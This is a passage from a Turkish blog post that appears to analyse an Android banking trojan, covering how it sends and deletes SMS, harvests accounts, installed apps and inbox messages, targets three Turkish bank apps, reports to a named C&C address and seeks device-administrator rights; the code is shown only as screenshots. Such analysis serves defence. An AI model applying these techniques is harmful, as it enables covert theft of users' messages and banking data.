<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-eQ6j39jZlT0/Vqh44EwmWeI/AAAAAAAADYg/tLHyJ7wraGs/s1600/16-sendsmsmessage.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="192" src="http://1.bp.blogspot.com/-eQ6j39jZlT0/Vqh44EwmWeI/AAAAAAAADYg/tLHyJ7wraGs/s640/16-sendsmsmessage.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 17 SMS gönderme fonksiyonu</td></tr>
</tbody></table>
<div style="text-align: justify;">
SMS gönderme işleminden sonra bu işlemi C&C sunucusuna raporlayan ve resimde 4 numara ile belirtilen fonksiyon çağrılır. İlgili metot cihaza ait belirlenen id, SMS gönderilen telefon numarası ve mesaj içeriğini içeren bir JSON objesi oluşturup bu objeyi C&C sunucusuna veri gönderimini sağlayan asenkron task’a iletir. (Zararlı yazılım ilk çalıştığında cihaz ile ilgili bilgilerin gönderilmesi işlemini yapan asenkron task – <span style="font-family: "courier new" , "courier" , monospace;">TestGateDataSendingAsyncTask</span> olarak isimlendirilmiştir.) Gönderilen SMS ile ilgili sunucuya rapor verilmesini sağlayan kod parçasına ait ekran görüntüsü Şekil 18’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-80lI8JDABFI/Vqh47vgcXcI/AAAAAAAADYs/InCeW0lATcs/s1600/17-report2CCserver.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="176" src="http://1.bp.blogspot.com/-80lI8JDABFI/Vqh47vgcXcI/AAAAAAAADYs/InCeW0lATcs/s640/17-report2CCserver.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 18 Gönderilen SMS ile ilgili sunucuya rapor verilmesini sağlayan kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
Gönderilen SMS ile ilgili bilgiler C&C sunucusuna raporlandıktan sonra son olarak cihazın gönderilen SMS’ler veritabanından bu SMS silinir. Bu sayede zararlı yazılım arkasında bıraktığı izi temizlemiş olur. SMS veritabanından gönderilen SMS’in silinmesini sağlayan fonksiyona ait kod parçası Şekil 19’de gösterilmektedir:</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-QJrj6NEw7_A/Vqh49--CaeI/AAAAAAAADY4/HB3d6o72ur4/s1600/18-DeleteSentSMS.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="204" src="http://4.bp.blogspot.com/-QJrj6NEw7_A/Vqh49--CaeI/AAAAAAAADY4/HB3d6o72ur4/s640/18-DeleteSentSMS.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 19 Gönderilen SMS mesajını cihazın SMS veritabanından silen kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
f)<span class="Apple-tab-span" style="white-space: pre;"> </span>Sunucudan gelen yanıt içerisinde <span style="font-family: "courier new" , "courier" , monospace;">injectlist: </span>string’i varsa yanıtın içerisinde şifreli olarak Helen uygulama paket listesi değerinin şifresi çözülerek shared preferences dosyasına <span style="font-family: "courier new" , "courier" , monospace;">injectlist</span> key değeri ile kaydedilir. İlgili kod parçası Şekil 20’da gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-uDy2Ri33ASM/VqiEV8nfKxI/AAAAAAAADic/3ZswepYm3Ug/s1600/13-ProcessServerResponse2%2B3.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="64" src="http://1.bp.blogspot.com/-uDy2Ri33ASM/VqiEV8nfKxI/AAAAAAAADic/3ZswepYm3Ug/s640/13-ProcessServerResponse2%2B3.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 20 C&C sunucusundan gelen injectlist komutunu işleyen kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
Uygulamaya yönelik yapılan analiz sırasında sunucudan gelen enjeksiyon yapılacak uygulamaların listesinin yer aldığı HTTP cevabı Şekil 21’de gösterilmiştir.</div>
<div style="text-align: justify;">
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-LaVi0UB5J6o/VqiyW0uH7_I/AAAAAAAADk8/Pmoz_MGHhFw/s1600/untitled%2B2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="244" src="http://1.bp.blogspot.com/-LaVi0UB5J6o/VqiyW0uH7_I/AAAAAAAADk8/Pmoz_MGHhFw/s640/untitled%2B2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: 12.8px;">Şekil 21 C&C sunucusundan gelen ve enjeksiyon yapılacak uygulamaların listesinin bulunduğu şifreli data</span></td></tr>
</tbody></table>
Bu HTTP cevabı içerisinde şifreli metin çözülüp shared preferences dosyasına kaydedilmektedir. Zararlı yazılım ileriki aktivitelerinde cihazda bulunan uygulama paketlerinin listesiyle bu dosyada bulunan enjeksiyon listesini karşılaştırmaktadır. Bu sebeple bu listede yer alan uygulamaların, zararlı yazılım tarafından hedef alınan uygulamalar olduğu söylenebilir. Shared preferences dosyasına kaydedilen enjeksiyon listesine ait ekran görüntüsü Şekil 22’de gösterilmiştir.<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-Uwka4aR3EKU/VqirdaExGMI/AAAAAAAADjc/d0WzxkTC64Q/s1600/20-InjectionListSharedPreferences.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="128" src="http://1.bp.blogspot.com/-Uwka4aR3EKU/VqirdaExGMI/AAAAAAAADjc/d0WzxkTC64Q/s640/20-InjectionListSharedPreferences.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="font-size: 12.8px;">Şekil 22 C&C sunucusundan gelen ve enjeksiyon yapılacak uygulamaların listesinin şifresinin çömülmesi ve ardından shared preferences dosyasına kaydedilmesi</span></td></tr>
</tbody></table>
</div>
<div style="text-align: justify;">
İlgili enjeksiyon listesinde 3 adet Türkiye’de hizmet veren bankalara ait uygulamaların paket isimleri yer almaktadır. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
g)<span class="Apple-tab-span" style="white-space: pre;"> </span>Sunucudan gelen cevap içerisinde accounts kelimesinin geçmesi durumunda cihazda kayıtlı olan kullanıcı hesaplarını toplayan ve bunları C&C sunucusuna gönderen bir başka asenkron task çalıştırılmaktadır. İlgili kod parçası Şekil 23’de gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-9a37H1ZlcYo/VqiE5ktsbFI/AAAAAAAADio/yHv3zSr6qrk/s1600/13-ProcessServerResponse2%2B4.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="84" src="http://1.bp.blogspot.com/-9a37H1ZlcYo/VqiE5ktsbFI/AAAAAAAADio/yHv3zSr6qrk/s640/13-ProcessServerResponse2%2B4.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 23 C&C sunucusundan gelen accounts komutunu işleyen kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
Çalıştırılan bu asenkron task öncelikle <span style="font-family: "courier new" , "courier" , monospace;">AccountManager</span> üzerinden cihazda yer alan kullanıcıya ait online hesapların listesini çıkartmaktadır. Cihazdaki hesap bilgilerini toplayarak C&C sunucusuna gönderilen kod parçası Şekil 24’te gösterilmiştir. </div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-1SevTSX3BXM/Vqh8Lw0pp7I/AAAAAAAADZ0/gUoWEbH_53I/s1600/21-GetAccountsAndSend2CCServer.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="426" src="http://3.bp.blogspot.com/-1SevTSX3BXM/Vqh8Lw0pp7I/AAAAAAAADZ0/gUoWEbH_53I/s640/21-GetAccountsAndSend2CCServer.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 24 Cihazda bulunan online hesap bilgilerinin toplanması ve C&C sunusuna raporlanmasını sağlayan kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
Çıkartılan bu liste daha sonra C&C sunucusuyla haberleşmeyi sağlayan asenkron task (<span style="font-family: "courier new" , "courier" , monospace;">TestGateDataSendingAsyncTask</span>) ile C&C sunucusuna göndermektedir. </div>
<div style="text-align: justify;">
Hesapların listesi hazırlanırken şapka işareti (^) ile ayrılmış olarak <span style="font-family: "courier new" , "courier" , monospace;">HESAP_TİPİ | HESAP_ADI</span> şeklinde hesap bilgilerinin yer aldığı bir string oluşturulmaktadır.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
h)<span class="Apple-tab-span" style="white-space: pre;"> </span>Sunucudan gelen cevap içerisinde <span style="font-family: "courier new" , "courier" , monospace;">instapps</span> kelimesinin geçmesi durumunda cihazda yüklü olan uygulamaların listesini toplayan ve bunları C&C sunucusuna gönderen bir asenkron task çalıştırılmaktadır. İlgili kod parçası Şekil 25’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-DFmZNrorDBU/VqiIARoDwDI/AAAAAAAADi0/lTUjiuJnK5U/s1600/13-ProcessServerResponse2%2B5.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="82" src="http://3.bp.blogspot.com/-DFmZNrorDBU/VqiIARoDwDI/AAAAAAAADi0/lTUjiuJnK5U/s640/13-ProcessServerResponse2%2B5.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 25 C&C sunucusundan gelen instapps komutunu işleyen kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
Çalıştırılan bu asenkron task zararlı yazılımın çalıştığı cihazda kullanıcı tarafından yüklenmiş uygulamaların listesini çıkartmakta ve C&C sunucusuyla haberleşmeyi sağlayan asenkron task (<span style="font-family: "courier new" , "courier" , monospace;">TestGateDataSendingAsyncTask</span>) ile C&C sunucusuna göndermektedir. İlgili kod Şekil 26’te gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-WmxbJ-WtUck/Vqh8VBwjoZI/AAAAAAAADaA/GJe9_mgrZVY/s1600/22-GetInsatalledAppListAndSend2CCServer.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="312" src="http://2.bp.blogspot.com/-WmxbJ-WtUck/Vqh8VBwjoZI/AAAAAAAADaA/GJe9_mgrZVY/s640/22-GetInsatalledAppListAndSend2CCServer.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 26 Cihazda kurulu uygulama listesini alıp C&C sunucusuna gönderen kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
Kullanıcının yüklemiş olduğu uygulamaların listesi, tüm uygulama listesi içerisinden system imajı içerisinde yer almayan uygulamalar tespit edilerek bulunmaktadır. İlgili fonksiyonlara ait kod parçası Şekil 27’da gösterilmektedir:</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-BFEBNJPmDY8/Vqh8cOn_5SI/AAAAAAAADaM/ZRzdjOheK4M/s1600/23-FindUserInstalledAppList.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="308" src="http://2.bp.blogspot.com/-BFEBNJPmDY8/Vqh8cOn_5SI/AAAAAAAADaM/ZRzdjOheK4M/s640/23-FindUserInstalledAppList.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 27 System imajı içerisinde yer almayan ve kullanıcının yüklemiş olduğu uygulamaların listesini çıkartan kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
i)<span class="Apple-tab-span" style="white-space: pre;"> </span>Sunucudan gelen komut <span style="font-family: "courier new" , "courier" , monospace;">listmessage</span> ise cihaza gelmiş SMS mesajlarını veritabanından çeken ve C&C sunucusuna gönderen bir asenkron task çalıştırılmaktadır. İlgili kod parçası Şekil 28’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-9w0RQNukbwQ/VqiIYEo1H6I/AAAAAAAADjA/9NTDh2zyTmY/s1600/13-ProcessServerResponse2%2B6.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="94" src="http://4.bp.blogspot.com/-9w0RQNukbwQ/VqiIYEo1H6I/AAAAAAAADjA/9NTDh2zyTmY/s640/13-ProcessServerResponse2%2B6.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 28 C&C sunucusundan gelen listmessage komutunu işleyen kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
Çalıştırılan bu asenkron task ile SMS veritabanına sorgu çekerek tüm gelen SMS mesajlarından bir JSON objesine oluşturmakta ve bu JSON objesini bir String ifadesine dönüştürdükten sonra Base64 kodlama yaparak C&C sunucusuyla haberleşmeyi sağlayan asenkron task vasıtası ile (<span style="font-family: "courier new" , "courier" , monospace;">TestGateDataSendingAsyncTask</span>) C&C sunucusuna göndermektedir. İlgili kod Şekil 29’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-3G9GzYR2jpI/Vqh8hQ47hRI/AAAAAAAADaY/gookv5EVltk/s1600/24-GetSMSInboxandSend2CCServer.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="286" src="http://3.bp.blogspot.com/-3G9GzYR2jpI/Vqh8hQ47hRI/AAAAAAAADaY/gookv5EVltk/s640/24-GetSMSInboxandSend2CCServer.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 29 SMS veritabanını alıp, Base64 kodlayarak C&C sunucusuna gönderen kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
C&C sunucusuna (http://193.201.227.26/test231215g/testgate.php) veri gönderip gönderdiği her verinin ardından sunucudan komutu alan bu asenkron task (<span style="font-family: "courier new" , "courier" , monospace;">TestGateDataSendingAsyncTask</span>) C&C sunucusuyla asıl veri iletiminin yapıldığı sınıftır.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
5.<span class="Apple-tab-span" style="white-space: pre;"> </span>Uygulamanın <span style="font-family: "courier new" , "courier" , monospace;">MainActivity</span> isimli ana activity objesi içerisinde yapmış olduğu bir sonraki işlem de uygulama içerisinde yer alan <span style="font-family: "courier new" , "courier" , monospace;">NetworkService</span> isimli service komponentini başlatmaktır. İlgili kod parçası Şekil 30’da gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-_3j6-BrKNU4/Vqh8r-DwAOI/AAAAAAAADaw/WFZG4sHLLkI/s1600/25-StartNetworkServiceIntent.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="60" src="http://2.bp.blogspot.com/-_3j6-BrKNU4/Vqh8r-DwAOI/AAAAAAAADaw/WFZG4sHLLkI/s640/25-StartNetworkServiceIntent.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 30 NetworkService komponentini başlatan kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">NetworkService</span> service’i ilk yaratıldığında çağırılan <span style="font-family: "courier new" , "courier" , monospace;">onCreate</span> fonksiyonu, içerisinde <span style="font-family: "courier new" , "courier" , monospace;">NetworkService</span> service’ini başlatan fonksiyona sahip bir sınıfı başlatmaktadır. Bu sınıf kod bulanıklaştırmanın çözülmesi (deobfuscation) işlemi sırasında <span style="font-family: "courier new" , "courier" , monospace;">NetworkServiceRestarter</span> olarak yeniden isimlendirilmiştir. Şekil 31’da <span style="font-family: "courier new" , "courier" , monospace;">NetworkService</span> komponentine ait <span style="font-family: "courier new" , "courier" , monospace;">onCreate</span> ve <span style="font-family: "courier new" , "courier" , monospace;">onStartCommand</span> fonksiyonlarına ait kod parçaları gösterilmektedir:</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-9HQMGF9hvVE/Vqh8t5wAE2I/AAAAAAAADa8/R8R20b7pJ4Q/s1600/26-NetworkServiceOnCreateOnStartCommand.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="144" src="http://2.bp.blogspot.com/-9HQMGF9hvVE/Vqh8t5wAE2I/AAAAAAAADa8/R8R20b7pJ4Q/s640/26-NetworkServiceOnCreateOnStartCommand.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 31 NetworkService komponentine ait onCreate ve onStartCommand fonksiyonları</td></tr>
</tbody></table>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">onStartCommand</span> fonksiyonu periyodik olarak <span style="font-family: "courier new" , "courier" , monospace;">NetworkController</span> broadcast receiver komponentine bir broadcast göndermektedir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">NetworkController</span> broadcast receiver’ı ilgili broadcast’i aldığında daha önce cihaz bilgilerini toplayıp C&C sunucusuna gönderdiği adımları tekrarlıyor. Bu işlem periyodik olarak cihaz bilgilerinin toplanarak C&C sunusuna gönderilmesi ve bu sayede ilgili sunucudan gelecek olan komutların periyodik olarak kontrol edilmesini amaçlamaktadır. İlgili kod parçası Şekil 32’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-1-RCBuZblRE/Vqh8wLhRWCI/AAAAAAAADbI/mdpApiJF3Mc/s1600/27-NetworkControllerBroadcastReceiver.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="250" src="http://4.bp.blogspot.com/-1-RCBuZblRE/Vqh8wLhRWCI/AAAAAAAADbI/mdpApiJF3Mc/s640/27-NetworkControllerBroadcastReceiver.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 32 NetworkController broadcast receiver’ına ait kod bölümü</td></tr>
</tbody></table>
<div style="text-align: justify;">
Uygulamanın yüklü olduğu cihaza ait ağ trafiği incelendiğinde periyodik olarak http://193.201.227.26/test231215g/testgate.php adresine gönderilen cihaz bilgileri görülebilmektedir. Şekil 33’deki ağ trafiği içerisinde periyodik olarak C&C sunucusuna gönderilen HTTP talepleri görülebilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-KMX5X7mSQ5A/VqiMGzA4CaI/AAAAAAAADjM/E--VbpSX0qo/s1600/28-PeriodicHTTPRequests2CCServer%2B2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="185" src="http://2.bp.blogspot.com/-KMX5X7mSQ5A/VqiMGzA4CaI/AAAAAAAADjM/E--VbpSX0qo/s400/28-PeriodicHTTPRequests2CCServer%2B2.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 33 C&C sunucusuna periyodik olarak gönderilen ve cihaz bilgisini içeren HTTP talepleri</td></tr>
</tbody></table>
<div style="text-align: justify;">
6.<span class="Apple-tab-span" style="white-space: pre;"> </span><span style="font-family: "courier new" , "courier" , monospace;">MainActivity</span> içerisinde gerçekleştirilen bir diğer aktivite de <span style="font-family: "courier new" , "courier" , monospace;">AdminService</span> isimli service komponentinin başlatılmasıdır. İlgili kod parçası Şekil 34’te gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-9bDh-0aHDnU/Vqh999GL2rI/AAAAAAAADbg/lyG2dAkzUkM/s1600/29-StartAdminServiceIntent.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="72" src="http://1.bp.blogspot.com/-9bDh-0aHDnU/Vqh999GL2rI/AAAAAAAADbg/lyG2dAkzUkM/s640/29-StartAdminServiceIntent.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 34 AdminService komponentini başlatan kod parçası</td></tr>
</tbody></table>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">AdminService</span> service’i yaratıldığında periyodik olarak çalıştırılacak yeni bir thread başlatmaktadır. İlgili kod Şekil 35’te gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-AhuT3_FHLpg/Vqh9_iFZXZI/AAAAAAAADbs/ljFpHTjP13c/s1600/30-AdminServiceOnCreate.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="74" src="http://2.bp.blogspot.com/-AhuT3_FHLpg/Vqh9_iFZXZI/AAAAAAAADbs/ljFpHTjP13c/s640/30-AdminServiceOnCreate.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 35 AdminService komponentine ait onCreate metodu</td></tr>
</tbody></table>
<div style="text-align: justify;">
İlgili thread her çalıştığında shared preferences dosyası içerisinden <span style="font-family: "courier new" , "courier" , monospace;">deleted</span> key’ine ait değeri kontrol ediyor (Şekil 36’te 1 ile gösterilmiştir) ve bu değerin 0 olması durumunda (Bu değer uygulamanın hali hazırda cihazda aktif olacağını belirtmektedir) <span style="font-family: "courier new" , "courier" , monospace;">DevicePolicyManager</span> üzerinden <span style="font-family: "courier new" , "courier" , monospace;">MyDeviceAdminReceiver</span> komponentinin aktif olup olmadığını kontrol etmekte (Şekil 36’te 2 ile gösterilmiştir), aktif değil ise shared preferences dosyasında <span style="font-family: "courier new" , "courier" , monospace;">common</span> key’ine ait değeri 0’a çekmekte ve <span style="font-family: "courier new" , "courier" , monospace;">AdminService</span> sınıfına ait bir başka fonksiyonu çağırmaktadır (Şekil 36’te 3 ile gösterilmiştir).</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://3.bp.blogspot.com/-vOW8Uz1-KRc/Vqh-G545iPI/AAAAAAAADb4/P6BOzx_qHso/s1600/31-Thread1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="338" src="http://3.bp.blogspot.com/-vOW8Uz1-KRc/Vqh-G545iPI/AAAAAAAADb4/P6BOzx_qHso/s640/31-Thread1.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 36 AdminService service komponenti tarafından periyodik olarak çalıştırılacak thread kodu</td></tr>
</tbody></table>
<div style="text-align: justify;">
Çağırılan bu fonksiyon <span style="font-family: "courier new" , "courier" , monospace;">MainActivity</span> activity’sini aktifleştirip deaktive eden fonksiyonu çağırıp <span style="font-family: "courier new" , "courier" , monospace;">MainActivity</span>’nin aktifleştirilmesini sağlamaktadır. Ardından <span style="font-family: "courier new" , "courier" , monospace;">DeviceAdminChecker</span> isimli aktivite çalıştırılmaktadır. İlgili kod parçası Şekil 37’da gösterilmektedir. <span style="font-family: "courier new" , "courier" , monospace;">MainActivity</span> komponentinin aktifleştirilmesini ve deaktive edilmesini sağlayan kod ise Şekil 38’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-jlZtQ6UV10Y/Vqh-Njyvz5I/AAAAAAAADcE/e4SNWlF06eQ/s1600/32-AdminServiceCFunction.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="144" src="http://4.bp.blogspot.com/-jlZtQ6UV10Y/Vqh-Njyvz5I/AAAAAAAADcE/e4SNWlF06eQ/s640/32-AdminServiceCFunction.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 37 Oluşturulan thread tarafından çalıştırılan fonksiyona ait kod bölümü</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://4.bp.blogspot.com/-1iy8R_dgV8E/Vqh-Pla3q8I/AAAAAAAADcQ/x_xY8Uc30Kk/s1600/33-EnableOrDisableMainActivity.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="100" src="http://4.bp.blogspot.com/-1iy8R_dgV8E/Vqh-Pla3q8I/AAAAAAAADcQ/x_xY8Uc30Kk/s640/33-EnableOrDisableMainActivity.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 38 MainActivity komponentinin aktifleştirilmesini ve deaktive edilmesini sağlayan kod </td></tr>
</tbody></table>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;">DeviceAdminChecker</span> activity’sine ait <span style="font-family: "courier new" , "courier" , monospace;">onCreate</span> metodu çalıştığında ilk olarak shared preferences dosyası içerisinde <span style="font-family: "courier new" , "courier" , monospace;">deleted</span> key’ine ait değer sorgulanmaktadır. Bu değerin 0’dan farklı olması durumunda, ki bu durumda uygulama cihazdaki aktivitesini sonlandıracak demektir, uygulama process’ini öldürecek <span style="font-family: "courier new" , "courier" , monospace;">DeviceAdminChecker</span> activity’sine ait <span style="font-family: "courier new" , "courier" , monospace;">onDestroy</span> metodu çalıştırılacaktır. <span style="font-family: "courier new" , "courier" , monospace;">onCreate</span> metodunun içeriği Şekil 39’de gösterilmektedir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://2.bp.blogspot.com/-7qSKm6AvdS4/Vqh-R6FIm4I/AAAAAAAADcc/z1qR6AbgdTo/s1600/34-DeviceAdminChecker.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="175" src="http://2.bp.blogspot.com/-7qSKm6AvdS4/Vqh-R6FIm4I/AAAAAAAADcc/z1qR6AbgdTo/s640/34-DeviceAdminChecker.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 39 DeviceAdminChecker activity komponentine ait onCreate metodu içeriği</td></tr>
</tbody></table>
<div style="text-align: justify;">
Eğer <span style="font-family: "courier new" , "courier" , monospace;">deleted</span> key’inin değeri 0 ise bu durumda <span style="font-family: "courier new" , "courier" , monospace;">MyDeviceAdminReceiver</span> sınıfın aktif olup olmadığı (yani uygulamaya Device Administrator yetkisinin verilip verilmediği) kontrol edilecek eğer aktif değilse Device Administrator’u aktifleştirecek bir fonksiyon çağırılacaktır. İlgili fonksiyona ait kod Şekil 40’da gösterilmiştir.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="http://1.bp.blogspot.com/-d5x7QYcX7JQ/Vqh-USupciI/AAAAAAAADco/KGdtrLUeCME/s1600/35-EnableDeviceAdmin.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="106" src="http://1.bp.blogspot.com/-d5x7QYcX7JQ/Vqh-USupciI/AAAAAAAADco/KGdtrLUeCME/s640/35-EnableDeviceAdmin.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Şekil 40 DeviceAdminChecker komponentine ait uygulamaya Device Administrator yetkisinin verilmesini sağlayan fonksiyon</td></tr>
</tbody></table>
<div style="text-align: justify;">
